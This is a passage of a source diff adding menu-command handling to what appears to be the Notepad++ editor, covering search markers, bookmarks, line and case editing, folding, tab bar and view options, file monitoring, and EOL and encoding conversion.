IDM_SEARCH_UNMARKALLEXT5 : + { + int styleID; + if (id == IDM_SEARCH_UNMARKALLEXT1) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT1; + else if (id == IDM_SEARCH_UNMARKALLEXT2) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT2; + else if (id == IDM_SEARCH_UNMARKALLEXT3) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT3; + else if (id == IDM_SEARCH_UNMARKALLEXT4) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT4; + else // (id == IDM_SEARCH_UNMARKALLEXT5) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT5; + + _pEditView->clearIndicator(styleID); + break; + } + + case IDM_SEARCH_GONEXTMARKER1 : + case IDM_SEARCH_GONEXTMARKER2 : + case IDM_SEARCH_GONEXTMARKER3 : + case IDM_SEARCH_GONEXTMARKER4 : + case IDM_SEARCH_GONEXTMARKER5 : + case IDM_SEARCH_GONEXTMARKER_DEF : + { + int styleID; + if (id == IDM_SEARCH_GONEXTMARKER1) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT1; + else if (id == IDM_SEARCH_GONEXTMARKER2) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT2; + else if (id == IDM_SEARCH_GONEXTMARKER3) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT3; + else if (id == IDM_SEARCH_GONEXTMARKER4) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT4; + else if (id == IDM_SEARCH_GONEXTMARKER5) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT5; + else // (id == IDM_SEARCH_GONEXTMARKER_DEF) + styleID = SCE_UNIVERSAL_FOUND_STYLE; + + goToNextIndicator(styleID); + + break; + } + + case IDM_SEARCH_GOPREVMARKER1 : + case IDM_SEARCH_GOPREVMARKER2 : + case IDM_SEARCH_GOPREVMARKER3 : + case IDM_SEARCH_GOPREVMARKER4 : + case IDM_SEARCH_GOPREVMARKER5 : + case IDM_SEARCH_GOPREVMARKER_DEF : + { + int styleID; + if (id == IDM_SEARCH_GOPREVMARKER1) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT1; + else if (id == IDM_SEARCH_GOPREVMARKER2) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT2; + else if (id == IDM_SEARCH_GOPREVMARKER3) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT3; + else if (id == IDM_SEARCH_GOPREVMARKER4) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT4; + else if (id == IDM_SEARCH_GOPREVMARKER5) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT5; + else // (id == IDM_SEARCH_GOPREVMARKER_DEF) + styleID = SCE_UNIVERSAL_FOUND_STYLE; + + goToPreviousIndicator(styleID); + + break; + } + + case IDM_SEARCH_CLEARALLMARKS : + { + _pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_EXT1); + _pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_EXT2); + _pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_EXT3); + _pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_EXT4); + _pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_EXT5); + break; + } + + case IDM_SEARCH_GOTOLINE : + { + bool isFirstTime = !_goToLineDlg.isCreated(); + _goToLineDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_goToLineDlg.getHSelf(), "GoToLine"); + break; + } + + case IDM_SEARCH_FINDCHARINRANGE : + { + bool isFirstTime = !_findCharsInRangeDlg.isCreated(); + _findCharsInRangeDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_findCharsInRangeDlg.getHSelf(), "FindCharsInRange"); + break; + } + + case IDM_EDIT_COLUMNMODETIP : + { + _nativeLangSpeaker.messageBox("ColumnModeTip", + _pPublicInterface->getHSelf(), + TEXT("Please use \"ALT+Mouse Selection\" or \"Alt+Shift+Arrow key\" to switch to column mode."), + TEXT("Column Mode Tip"), + MB_OK|MB_APPLMODAL); + break; + } + + case IDM_EDIT_COLUMNMODE : + { + bool isFirstTime = !_colEditorDlg.isCreated(); + _colEditorDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_colEditorDlg.getHSelf(), "ColumnEditor"); + break; + } + + case IDM_SEARCH_GOTOMATCHINGBRACE : + case IDM_SEARCH_SELECTMATCHINGBRACES : + { + int braceAtCaret = -1; + int braceOpposite = -1; + findMatchingBracePos(braceAtCaret, braceOpposite); + + if (braceOpposite != -1) + { + if(id == IDM_SEARCH_GOTOMATCHINGBRACE) + _pEditView->execute(SCI_GOTOPOS, braceOpposite); + else + _pEditView->execute(SCI_SETSEL, min(braceAtCaret, braceOpposite), max(braceAtCaret, braceOpposite) + 1); // + 1 so we always include the ending brace in the selection. + } + break; + } + + case IDM_SEARCH_TOGGLE_BOOKMARK : + bookmarkToggle(-1); + break; + + case IDM_SEARCH_NEXT_BOOKMARK: + bookmarkNext(true); + break; + + case IDM_SEARCH_PREV_BOOKMARK: + bookmarkNext(false); + break; + + case IDM_SEARCH_CLEAR_BOOKMARKS: + bookmarkClearAll(); + break; + + case IDM_LANG_USER_DLG : + { + bool isUDDlgVisible = false; + + UserDefineDialog *udd = _pEditView->getUserDefineDlg(); + + if (!udd->isCreated()) + { + _pEditView->doUserDefineDlg(true, _nativeLangSpeaker.isRTL()); + _nativeLangSpeaker.changeUserDefineLang(udd); + if (_isUDDocked) + ::SendMessage(udd->getHSelf(), WM_COMMAND, IDC_DOCK_BUTTON, 0); + + } + else + { + isUDDlgVisible = udd->isVisible(); + bool isUDDlgDocked = udd->isDocked(); + + if ((isUDDlgDocked)&&(isUDDlgVisible)) + { + ::ShowWindow(_pMainSplitter->getHSelf(), SW_HIDE); + + if (bothActive()) + _pMainWindow = &_subSplitter; + else + _pMainWindow = _pDocTab; + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + + udd->display(false); + _mainWindowStatus &= ~WindowUserActive; + } + else if ((isUDDlgDocked)&&(!isUDDlgVisible)) + { + if (!_pMainSplitter) + { + _pMainSplitter = new SplitterContainer; + _pMainSplitter->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf()); + + Window *pWindow; + if (bothActive()) + pWindow = &_subSplitter; + else + pWindow = _pDocTab; + + _pMainSplitter->create(pWindow, ScintillaEditView::getUserDefineDlg(), 8, SplitterMode::RIGHT_FIX, 45); + } + + _pMainWindow = _pMainSplitter; + + _pMainSplitter->setWin0((bothActive())?(Window *)&_subSplitter:(Window *)_pDocTab); + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + _pMainWindow->display(); + + _mainWindowStatus |= WindowUserActive; + } + else if ((!isUDDlgDocked)&&(isUDDlgVisible)) + { + udd->display(false); + } + else //((!isUDDlgDocked)&&(!isUDDlgVisible)) + udd->display(); + } + checkMenuItem(IDM_LANG_USER_DLG, !isUDDlgVisible); + _toolBar.setCheck(IDM_LANG_USER_DLG, !isUDDlgVisible); + + break; + } + + case IDM_EDIT_SELECTALL: + _pEditView->execute(SCI_SELECTALL); + checkClipboard(); + break; + + case IDM_EDIT_INS_TAB: + _pEditView->execute(SCI_TAB); + break; + + case IDM_EDIT_RMV_TAB: + _pEditView->execute(SCI_BACKTAB); + break; + + case IDM_EDIT_DUP_LINE: + _pEditView->execute(SCI_LINEDUPLICATE); + break; + + case IDM_EDIT_SPLIT_LINES: + _pEditView->execute(SCI_TARGETFROMSELECTION); + if (_pEditView->execute(SCI_GETEDGEMODE) == EDGE_NONE) + { + _pEditView->execute(SCI_LINESSPLIT); + } + else + { + auto textWidth = _pEditView->execute(SCI_TEXTWIDTH, STYLE_LINENUMBER, reinterpret_cast("P")); + auto edgeCol = _pEditView->execute(SCI_GETEDGECOLUMN); + _pEditView->execute(SCI_LINESSPLIT, textWidth * edgeCol); + } + break; + + case IDM_EDIT_JOIN_LINES: + _pEditView->execute(SCI_TARGETFROMSELECTION); + _pEditView->execute(SCI_LINESJOIN); + break; + + case IDM_EDIT_LINE_UP: + _pEditView->currentLinesUp(); + break; + + case IDM_EDIT_LINE_DOWN: + _pEditView->currentLinesDown(); + break; + + case IDM_EDIT_REMOVEEMPTYLINES: + _pEditView->execute(SCI_BEGINUNDOACTION); + removeEmptyLine(false); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_REMOVEEMPTYLINESWITHBLANK: + _pEditView->execute(SCI_BEGINUNDOACTION); + removeEmptyLine(true); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_UPPERCASE: + _pEditView->convertSelectedTextToUpperCase(); + break; + + case IDM_EDIT_LOWERCASE: + _pEditView->convertSelectedTextToLowerCase(); + break; + + case IDM_EDIT_PROPERCASE_FORCE: + _pEditView->convertSelectedTextToNewerCase(TITLECASE_FORCE); + break; + + case IDM_EDIT_PROPERCASE_BLEND: + _pEditView->convertSelectedTextToNewerCase(TITLECASE_BLEND); + break; + + case IDM_EDIT_SENTENCECASE_FORCE: + _pEditView->convertSelectedTextToNewerCase(SENTENCECASE_FORCE); + break; + + case IDM_EDIT_SENTENCECASE_BLEND: + _pEditView->convertSelectedTextToNewerCase(SENTENCECASE_BLEND); + break; + + case IDM_EDIT_INVERTCASE: + _pEditView->convertSelectedTextToNewerCase(INVERTCASE); + break; + + case IDM_EDIT_RANDOMCASE: + _pEditView->convertSelectedTextToNewerCase(RANDOMCASE); + break; + + case IDM_EDIT_BLOCK_COMMENT: + doBlockComment(cm_toggle); + break; + + case IDM_EDIT_BLOCK_COMMENT_SET: + doBlockComment(cm_comment); + break; + + case IDM_EDIT_BLOCK_UNCOMMENT: + doBlockComment(cm_uncomment); + break; + + case IDM_EDIT_STREAM_COMMENT: + doStreamComment(); + break; + + case IDM_EDIT_STREAM_UNCOMMENT: + undoStreamComment(); + break; + + case IDM_EDIT_TRIMTRAILING: + _pEditView->execute(SCI_BEGINUNDOACTION); + doTrim(lineTail); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_TRIMLINEHEAD: + _pEditView->execute(SCI_BEGINUNDOACTION); + doTrim(lineHeader); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_TRIM_BOTH: + _pEditView->execute(SCI_BEGINUNDOACTION); + doTrim(lineTail); + doTrim(lineHeader); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_EOL2WS: + _pEditView->execute(SCI_BEGINUNDOACTION); + _pEditView->execute(SCI_SETTARGETRANGE, 0, _pEditView->getCurrentDocLen()); + _pEditView->execute(SCI_LINESJOIN); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_TRIMALL: + _pEditView->execute(SCI_BEGINUNDOACTION); + doTrim(lineTail); + doTrim(lineHeader); + _pEditView->execute(SCI_SETTARGETRANGE, 0, _pEditView->getCurrentDocLen()); + _pEditView->execute(SCI_LINESJOIN); + _pEditView->execute(SCI_ENDUNDOACTION); + break; + + case IDM_EDIT_TAB2SW: + wsTabConvert(tab2Space); + break; + + case IDM_EDIT_SW2TAB_LEADING: + wsTabConvert(space2TabLeading); + break; + + case IDM_EDIT_SW2TAB_ALL: + wsTabConvert(space2TabAll); + break; + + case IDM_EDIT_SETREADONLY: + { + Buffer * buf = _pEditView->getCurrentBuffer(); + buf->setUserReadOnly(!buf->getUserReadOnly()); + } + break; + + case IDM_EDIT_CLEARREADONLY: + { + Buffer * buf = _pEditView->getCurrentBuffer(); + + DWORD dwFileAttribs = ::GetFileAttributes(buf->getFullPathName()); + dwFileAttribs ^= FILE_ATTRIBUTE_READONLY; + + ::SetFileAttributes(buf->getFullPathName(), dwFileAttribs); + buf->setFileReadOnly(false); + } + break; + + case IDM_SEARCH_CUTMARKEDLINES : + cutMarkedLines(); + break; + + case IDM_SEARCH_COPYMARKEDLINES : + copyMarkedLines(); + break; + + case IDM_SEARCH_PASTEMARKEDLINES : + pasteToMarkedLines(); + break; + + case IDM_SEARCH_DELETEMARKEDLINES : + deleteMarkedLines(true); + break; + + case IDM_SEARCH_DELETEUNMARKEDLINES : + deleteMarkedLines(false); + break; + + case IDM_SEARCH_INVERSEMARKS : + inverseMarks(); + break; + + case IDM_VIEW_FULLSCREENTOGGLE : + fullScreenToggle(); + break; + + case IDM_VIEW_ALWAYSONTOP: + { + int check = (::GetMenuState(_mainMenuHandle, id, MF_BYCOMMAND) == MF_CHECKED)?MF_UNCHECKED:MF_CHECKED; + ::CheckMenuItem(_mainMenuHandle, id, MF_BYCOMMAND | check); + SetWindowPos(_pPublicInterface->getHSelf(), check == MF_CHECKED?HWND_TOPMOST:HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); + } + break; + + + case IDM_VIEW_FOLD_CURRENT : + case IDM_VIEW_UNFOLD_CURRENT : + _pEditView->foldCurrentPos((id==IDM_VIEW_FOLD_CURRENT)?fold_collapse:fold_uncollapse); + break; + + case IDM_VIEW_TOGGLE_FOLDALL: + case IDM_VIEW_TOGGLE_UNFOLDALL: + { + _isFolding = true; // So we can ignore events while folding is taking place + bool doCollapse = (id==IDM_VIEW_TOGGLE_FOLDALL)?fold_collapse:fold_uncollapse; + _pEditView->foldAll(doCollapse); + if (_pDocMap) + { + _pDocMap->foldAll(doCollapse); + } + _isFolding = false; + } + break; + + case IDM_VIEW_FOLD_1: + case IDM_VIEW_FOLD_2: + case IDM_VIEW_FOLD_3: + case IDM_VIEW_FOLD_4: + case IDM_VIEW_FOLD_5: + case IDM_VIEW_FOLD_6: + case IDM_VIEW_FOLD_7: + case IDM_VIEW_FOLD_8: + _isFolding = true; // So we can ignore events while folding is taking place + _pEditView->collapse(id - IDM_VIEW_FOLD - 1, fold_collapse); + _isFolding = false; + break; + + case IDM_VIEW_UNFOLD_1: + case IDM_VIEW_UNFOLD_2: + case IDM_VIEW_UNFOLD_3: + case IDM_VIEW_UNFOLD_4: + case IDM_VIEW_UNFOLD_5: + case IDM_VIEW_UNFOLD_6: + case IDM_VIEW_UNFOLD_7: + case IDM_VIEW_UNFOLD_8: + _isFolding = true; // So we can ignore events while folding is taking place + _pEditView->collapse(id - IDM_VIEW_UNFOLD - 1, fold_uncollapse); + _isFolding = false; + break; + + + case IDM_VIEW_TOOLBAR_REDUCE: + { + toolBarStatusType state = _toolBar.getState(); + + if (state != TB_SMALL) + { + _toolBar.reduce(); + changeToolBarIcons(); + } + } + break; + + case IDM_VIEW_TOOLBAR_ENLARGE: + { + toolBarStatusType state = _toolBar.getState(); + + if (state != TB_LARGE) + { + _toolBar.enlarge(); + changeToolBarIcons(); + } + } + break; + + case IDM_VIEW_TOOLBAR_STANDARD: + { + toolBarStatusType state = _toolBar.getState(); + + if (state != TB_STANDARD) + { + _toolBar.setToUglyIcons(); + } + } + break; + + case IDM_VIEW_REDUCETABBAR : + { + _toReduceTabBar = !_toReduceTabBar; + + //Resize the icon + int iconDpiDynamicalSize = NppParameters::getInstance()->_dpiManager.scaleY(_toReduceTabBar?12:18); + + //Resize the tab height + int tabDpiDynamicalWidth = NppParameters::getInstance()->_dpiManager.scaleX(45); + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(_toReduceTabBar?22:25); + TabCtrl_SetItemSize(_mainDocTab.getHSelf(), tabDpiDynamicalWidth, tabDpiDynamicalHeight); + TabCtrl_SetItemSize(_subDocTab.getHSelf(), tabDpiDynamicalWidth, tabDpiDynamicalHeight); + _docTabIconList.setIconSize(iconDpiDynamicalSize); + + //change the font + int stockedFont = _toReduceTabBar?DEFAULT_GUI_FONT:SYSTEM_FONT; + HFONT hf = (HFONT)::GetStockObject(stockedFont); + + if (hf) + { + ::SendMessage(_mainDocTab.getHSelf(), WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + ::SendMessage(_subDocTab.getHSelf(), WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + } + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + break; + } + + case IDM_VIEW_REFRESHTABAR : + { + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + break; + } + case IDM_VIEW_LOCKTABBAR: + { + bool isDrag = TabBarPlus::doDragNDropOrNot(); + TabBarPlus::doDragNDrop(!isDrag); + break; + } + + + case IDM_VIEW_DRAWTABBAR_INACIVETAB: + { + TabBarPlus::setDrawInactiveTab(!TabBarPlus::drawInactiveTab()); + break; + } + case IDM_VIEW_DRAWTABBAR_TOPBAR: + { + TabBarPlus::setDrawTopBar(!TabBarPlus::drawTopBar()); + break; + } + + case IDM_VIEW_DRAWTABBAR_CLOSEBOTTUN : + { + TabBarPlus::setDrawTabCloseButton(!TabBarPlus::drawTabCloseButton()); + + // This part is just for updating (redraw) the tabs + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(22); + int tabDpiDynamicalWidth = NppParameters::getInstance()->_dpiManager.scaleX(TabBarPlus::drawTabCloseButton() ? 60 : 45); + TabCtrl_SetItemSize(_mainDocTab.getHSelf(), tabDpiDynamicalWidth, tabDpiDynamicalHeight); + TabCtrl_SetItemSize(_subDocTab.getHSelf(), tabDpiDynamicalWidth, tabDpiDynamicalHeight); + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + break; + } + + case IDM_VIEW_DRAWTABBAR_DBCLK2CLOSE : + { + TabBarPlus::setDbClk2Close(!TabBarPlus::isDbClk2Close()); + break; + } + + case IDM_VIEW_DRAWTABBAR_VERTICAL : + { + TabBarPlus::setVertical(!TabBarPlus::isVertical()); + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + break; + } + + case IDM_VIEW_DRAWTABBAR_MULTILINE : + { + TabBarPlus::setMultiLine(!TabBarPlus::isMultiLine()); + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + break; + } + + case IDM_VIEW_POSTIT : + { + postItToggle(); + } + break; + + case IDM_VIEW_TAB_SPACE: + { + bool isChecked = !(::GetMenuState(_mainMenuHandle, IDM_VIEW_TAB_SPACE, MF_BYCOMMAND) == MF_CHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_EOL, MF_BYCOMMAND | MF_UNCHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_ALL_CHARACTERS, MF_BYCOMMAND | MF_UNCHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_TAB_SPACE, MF_BYCOMMAND | (isChecked?MF_CHECKED:MF_UNCHECKED)); + _toolBar.setCheck(IDM_VIEW_ALL_CHARACTERS, false); + _mainEditView.showEOL(false); + _mainEditView.showWSAndTab(isChecked); + _subEditView.showEOL(false); + _subEditView.showWSAndTab(isChecked); + + ScintillaViewParams & svp1 = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + svp1._whiteSpaceShow = isChecked; + svp1._eolShow = false; + break; + } + case IDM_VIEW_EOL: + { + bool isChecked = !(::GetMenuState(_mainMenuHandle, IDM_VIEW_EOL, MF_BYCOMMAND) == MF_CHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_TAB_SPACE, MF_BYCOMMAND | MF_UNCHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_EOL, MF_BYCOMMAND | (isChecked?MF_CHECKED:MF_UNCHECKED)); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_ALL_CHARACTERS, MF_BYCOMMAND | MF_UNCHECKED); + _toolBar.setCheck(IDM_VIEW_ALL_CHARACTERS, false); + _mainEditView.showEOL(isChecked); + _subEditView.showEOL(isChecked); + _mainEditView.showWSAndTab(false); + _subEditView.showWSAndTab(false); + + ScintillaViewParams & svp1 = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + svp1._whiteSpaceShow = false; + svp1._eolShow = isChecked; + break; + } + case IDM_VIEW_ALL_CHARACTERS: + { + bool isChecked = !(::GetMenuState(_mainMenuHandle, id, MF_BYCOMMAND) == MF_CHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_EOL, MF_BYCOMMAND | MF_UNCHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_TAB_SPACE, MF_BYCOMMAND | MF_UNCHECKED); + ::CheckMenuItem(_mainMenuHandle, IDM_VIEW_ALL_CHARACTERS, MF_BYCOMMAND | (isChecked?MF_CHECKED:MF_UNCHECKED)); + _mainEditView.showInvisibleChars(isChecked); + _subEditView.showInvisibleChars(isChecked); + _toolBar.setCheck(IDM_VIEW_ALL_CHARACTERS, isChecked); + + ScintillaViewParams & svp1 = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + svp1._whiteSpaceShow = isChecked; + svp1._eolShow = isChecked; + break; + } + + case IDM_VIEW_INDENT_GUIDE: + { + _mainEditView.showIndentGuideLine(!_pEditView->isShownIndentGuide()); + _subEditView.showIndentGuideLine(!_pEditView->isShownIndentGuide()); + _toolBar.setCheck(IDM_VIEW_INDENT_GUIDE, _pEditView->isShownIndentGuide()); + checkMenuItem(IDM_VIEW_INDENT_GUIDE, _pEditView->isShownIndentGuide()); + + ScintillaViewParams & svp1 = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + svp1._indentGuideLineShow = _pEditView->isShownIndentGuide(); + break; + } + + case IDM_VIEW_WRAP: + { + bool isWraped = !_pEditView->isWrap(); + // ViewMoveAtWrappingDisableFix: Disable wrapping messes up visible lines. Therefore save view position before in IDM_VIEW_WRAP and restore after SCN_PAINTED, as Scintilla-Doc. says + if (!isWraped) + { + _mainEditView.saveCurrentPos(); + _mainEditView.setWrapRestoreNeeded(true); + _subEditView.saveCurrentPos(); + _subEditView.setWrapRestoreNeeded(true); + } + _mainEditView.wrap(isWraped); + _subEditView.wrap(isWraped); + _toolBar.setCheck(IDM_VIEW_WRAP, isWraped); + checkMenuItem(IDM_VIEW_WRAP, isWraped); + + ScintillaViewParams & svp1 = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + svp1._doWrap = isWraped; + + if (_pDocMap) + { + _pDocMap->initWrapMap(); + _pDocMap->wrapMap(); + } + break; + } + case IDM_VIEW_WRAP_SYMBOL: + { + _mainEditView.showWrapSymbol(!_pEditView->isWrapSymbolVisible()); + _subEditView.showWrapSymbol(!_pEditView->isWrapSymbolVisible()); + checkMenuItem(IDM_VIEW_WRAP_SYMBOL, _pEditView->isWrapSymbolVisible()); + + ScintillaViewParams & svp1 = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + svp1._wrapSymbolShow = _pEditView->isWrapSymbolVisible(); + break; + } + + case IDM_VIEW_HIDELINES: + { + _pEditView->hideLines(); + break; + } + + case IDM_VIEW_ZOOMIN: + { + _pEditView->execute(SCI_ZOOMIN); + break; + } + case IDM_VIEW_ZOOMOUT: + _pEditView->execute(SCI_ZOOMOUT); + break; + + case IDM_VIEW_ZOOMRESTORE: + //Zoom factor of 0 points means default view + _pEditView->execute(SCI_SETZOOM, 0);//_zoomOriginalValue); + break; + + case IDM_VIEW_SYNSCROLLV: + { + bool isSynScollV = !_syncInfo._isSynScollV; + + checkMenuItem(IDM_VIEW_SYNSCROLLV, isSynScollV); + _toolBar.setCheck(IDM_VIEW_SYNSCROLLV, isSynScollV); + + _syncInfo._isSynScollV = isSynScollV; + if (_syncInfo._isSynScollV) + { + int mainCurrentLine = static_cast(_mainEditView.execute(SCI_GETFIRSTVISIBLELINE)); + int subCurrentLine = static_cast(_subEditView.execute(SCI_GETFIRSTVISIBLELINE)); + _syncInfo._line = mainCurrentLine - subCurrentLine; + } + + } + break; + + case IDM_VIEW_SYNSCROLLH: + { + bool isSynScollH = !_syncInfo._isSynScollH; + checkMenuItem(IDM_VIEW_SYNSCROLLH, isSynScollH); + _toolBar.setCheck(IDM_VIEW_SYNSCROLLH, isSynScollH); + + _syncInfo._isSynScollH = isSynScollH; + if (_syncInfo._isSynScollH) + { + int mxoffset = static_cast(_mainEditView.execute(SCI_GETXOFFSET)); + int pixel = static_cast(_mainEditView.execute(SCI_TEXTWIDTH, STYLE_DEFAULT, reinterpret_cast("P"))); + int mainColumn = mxoffset/pixel; + + int sxoffset = static_cast(_subEditView.execute(SCI_GETXOFFSET)); + pixel = int(_subEditView.execute(SCI_TEXTWIDTH, STYLE_DEFAULT, reinterpret_cast("P"))); + int subColumn = sxoffset/pixel; + _syncInfo._column = mainColumn - subColumn; + } + } + break; + + case IDM_VIEW_SUMMARY: + { + generic_string characterNumber = TEXT(""); + + Buffer * curBuf = _pEditView->getCurrentBuffer(); + int fileLen = curBuf->getFileLength(); + + if (fileLen != -1) + { + TCHAR *filePathLabel = TEXT("Full file path: "); + TCHAR *fileCreateTimeLabel = TEXT("Created: "); + TCHAR *fileModifyTimeLabel = TEXT("Modified: "); + TCHAR *fileLenLabel = TEXT("File length (in byte): "); + + characterNumber += filePathLabel; + characterNumber += curBuf->getFullPathName(); + characterNumber += TEXT("\r"); + + characterNumber += fileCreateTimeLabel; + characterNumber += curBuf->getFileTime(Buffer::ft_created); + characterNumber += TEXT("\r"); + + characterNumber += fileModifyTimeLabel; + characterNumber += curBuf->getFileTime(Buffer::ft_modified); + characterNumber += TEXT("\r"); + + characterNumber += fileLenLabel; + characterNumber += commafyInt(static_cast(fileLen)).c_str(); + characterNumber += TEXT("\r"); + characterNumber += TEXT("\r"); + } + TCHAR *nbCharLabel = TEXT("Characters (without blanks): "); + TCHAR *nbWordLabel = TEXT("Words: "); + TCHAR *nbLineLabel = TEXT("Lines: "); + TCHAR *nbByteLabel = TEXT("Current document length: "); + TCHAR *nbSelLabel1 = TEXT(" selected characters ("); + TCHAR *nbSelLabel2 = TEXT(" bytes) in "); + TCHAR *nbRangeLabel = TEXT(" ranges"); + + UniMode um = _pEditView->getCurrentBuffer()->getUnicodeMode(); + auto nbChar = getCurrentDocCharCount(um); + int nbWord = wordCount(); + auto nbLine = _pEditView->execute(SCI_GETLINECOUNT); + auto nbByte = _pEditView->execute(SCI_GETLENGTH); + auto nbSel = getSelectedCharNumber(um); + auto nbSelByte = getSelectedBytes(); + auto nbRange = getSelectedAreas(); + + characterNumber += nbCharLabel; + characterNumber += commafyInt(nbChar).c_str(); + characterNumber += TEXT("\r"); + + characterNumber += nbWordLabel; + characterNumber += commafyInt(nbWord).c_str(); + characterNumber += TEXT("\r"); + + characterNumber += nbLineLabel; + characterNumber += commafyInt(static_cast(nbLine)).c_str(); + characterNumber += TEXT("\r"); + + characterNumber += nbByteLabel; + characterNumber += commafyInt(nbByte).c_str(); + characterNumber += TEXT("\r"); + + characterNumber += commafyInt(nbSel).c_str(); + characterNumber += nbSelLabel1; + characterNumber += commafyInt(nbSelByte).c_str(); + characterNumber += nbSelLabel2; + characterNumber += commafyInt(nbRange).c_str(); + characterNumber += nbRangeLabel; + characterNumber += TEXT("\r"); + + ::MessageBox(_pPublicInterface->getHSelf(), characterNumber.c_str(), TEXT("Summary"), MB_OK|MB_APPLMODAL); + } + break; + + case IDM_VIEW_MONITORING: + { + Buffer * curBuf = _pEditView->getCurrentBuffer(); + if (curBuf->isMonitoringOn()) + { + curBuf->stopMonitoring(); + checkMenuItem(IDM_VIEW_MONITORING, false); + _toolBar.setCheck(IDM_VIEW_MONITORING, false); + curBuf->setUserReadOnly(false); + } + else + { + const TCHAR *longFileName = curBuf->getFullPathName(); + if (::PathFileExists(longFileName)) + { + if (curBuf->isDirty()) + { + ::MessageBox(_pPublicInterface->getHSelf(), TEXT("The document is dirty. Please save the modification before monitoring it."), TEXT("Monitoring problem"), MB_OK); + } + else + { + curBuf->startMonitoring(); // monitoring firstly for making monitoring icon + curBuf->setUserReadOnly(true); + + MonitorInfo *monitorInfo = new MonitorInfo(curBuf, _pPublicInterface->getHSelf()); + HANDLE hThread = ::CreateThread(NULL, 0, monitorFileOnChange, (void *)monitorInfo, 0, NULL); // will be deallocated while quitting thread + ::CloseHandle(hThread); + checkMenuItem(IDM_VIEW_MONITORING, true); + _toolBar.setCheck(IDM_VIEW_MONITORING, true); + } + } + else + { + ::MessageBox(_pPublicInterface->getHSelf(), TEXT("The file should exist to be monitored."), TEXT("Monitoring problem"), MB_OK); + } + } + + break; + } + + case IDM_EXECUTE: + { + bool isFirstTime = !_runDlg.isCreated(); + _runDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_runDlg.getHSelf(), "Run"); + + break; + } + + case IDM_FORMAT_TODOS: + case IDM_FORMAT_TOUNIX: + case IDM_FORMAT_TOMAC: + { + EolType newFormat = (id == IDM_FORMAT_TODOS) + ? EolType::windows + : (id == IDM_FORMAT_TOUNIX) ? EolType::unix : EolType::macos; + + Buffer* buf = _pEditView->getCurrentBuffer(); + + if (not buf->isReadOnly()) + { + LongRunningOperation op; + buf->setEolFormat(newFormat); + _pEditView->execute(SCI_CONVERTEOLS, static_cast(buf->getEolFormat())); + } + + break; + } + + case IDM_FORMAT_ANSI : + case IDM_FORMAT_UTF_8 : + case IDM_FORMAT_UCS_2BE : + case IDM_FORMAT_UCS_2LE : + case IDM_FORMAT_AS_UTF_8 : + { + Buffer * buf = _pEditView->getCurrentBuffer(); + + UniMode um; + bool shoulBeDirty = true; + switch (id) + { + case IDM_FORMAT_AS_UTF_8: + shoulBeDirty = buf->getUnicodeMode() != uni8Bit; + um = uniCookie; + break; + + case IDM_FORMAT_UTF_8: + um = uniUTF8; + break; + + case 